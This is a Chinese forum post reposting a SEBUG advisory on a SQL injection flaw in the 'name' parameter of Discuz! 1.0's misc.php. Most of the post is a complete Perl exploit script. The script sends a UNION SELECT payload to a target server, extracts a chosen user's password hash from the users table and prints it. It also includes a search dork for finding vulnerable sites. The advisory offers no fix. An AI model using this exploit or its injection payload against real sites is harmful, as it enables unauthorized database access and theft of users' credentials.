• :
  • Discuz! 'name'参数SQL注入漏洞-爱毒霸交流论坛
    用户
     找回密码

        找回密码

    QQ登录

    只需一步,快速开始

    搜索

    [求助] Discuz! 'name'参数SQL注入漏洞

    [复制链接]

    该用户从未签到

    发表于 2010-1-6 17:42:15 只看该作者

    马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

    您需要 登录 才可以下载或查看,没有帐号?

    x
    Discuz! 'name'参数SQL注入漏洞
    SSV ID:15193
    SEBUG-Appdir:Discuz!
    发布时间:2010-01-02
    影响版本:
    Comsenz Discuz! 1.0漏洞描述:
    Bugraq ID: 37556

    Comsenz Discuz!是一款流行的论坛程序。
    Comsenz Discuz!存在输入验证错误,远程攻击者可以利用漏洞进行SQL注入攻击,获得密码HASH等敏感信息。
    问题是'misc.php'脚本对'name'参数缺少过滤,构建恶意SQL查询作为参数数据,可更改原来的SQL逻辑,获得敏感信息或操作数据库。<*参考
    http://www.securityfocus.com/bid/37562
    *>
    测试方法:
    [www.sebug.net]
    本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
    #!/usr/bin/perl
      
    use IO::Socket;
      
      
    print q{
    ######################################################
    #    Discuz  Remote SQL Injection Exploit            #
    #    By indoushka                                    #
    #    www.iq-ty.com                                   #
    #    Souk Naamane  (00213771818860)                  #
    #    Algeria Hackerz   (indoushka@hotmail.com)       #
    # Dork:Powered by Discuz! 1.0 © 2002,Crossday Studio #           
    ######################################################
    };
      
    if (!$ARGV[2]) {
      
    print q{
        Usage: perl  Discuz.pl host /directory/ victim_userid
      
           perl  Discuz.pl www.Discuz.com /forum/ 1
      
      
    };
      
    }
      
      
    $server = $ARGV[0];
    $dir    = $ARGV[1];
    $user   = $ARGV[2];
    $myuser = $ARGV[3];
    $mypass = $ARGV[4];
    $myid   = $ARGV[5];
      
    print "------------------------------------------------------------------------------------------------\r\n";
    print "[>] SERVER: $server\r\n";
    print "[>]    DIR: $dir\r\n";
    print "[>] USERID: $user\r\n";
    print "------------------------------------------------------------------------------------------------\r\n\r\n";
      
    $server =~ s/(http:\/\/)//eg;
      
    $path  = $dir;
    $path .= "misc.php?sub=profile&name=0')+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM%20deluxebb_users%20WHERE%20(uid= '".$user ;
      
      
    print "[~] PREPARE TO CONNECT...\r\n";
      
    $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";
      
    print "[+] CONNECTED\r\n";
    print "[~] SENDING QUERY...\r\n";
    print $socket "GET $path HTTP/1.1\r\n";
    print $socket "Host: $server\r\n";
    print $socket "Accept: */*\r\n";
    print $socket "Connection: close\r\n\r\n";
    print "[+] DONE!\r\n\r\n";
      
      
      
    print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";
    while ($answer = <$socket>)
    {
      
    if ($answer =~/(\w{32})/)
    {
      
      if ($1 ne 0) {
       print "Password Hash is: ".$1."\r\n";
    print "--------------------------------------------------------------------------------------\r\n";
      
          }
    exit();
    }
      
    }
    print "------------------------------------------------------------------------------------------------\r\n";
    SEBUG安全建议:
    目前没有解决方案提供:
    http://www.discuz.com/// sebug.net [2010-01-06]
    使用道具 举报 回复
    握爪,握爪~~~~~
    使用道具 举报 回复 支持 反对
    您需要登录后才可以回帖 登录 | 注册

    本版积分规则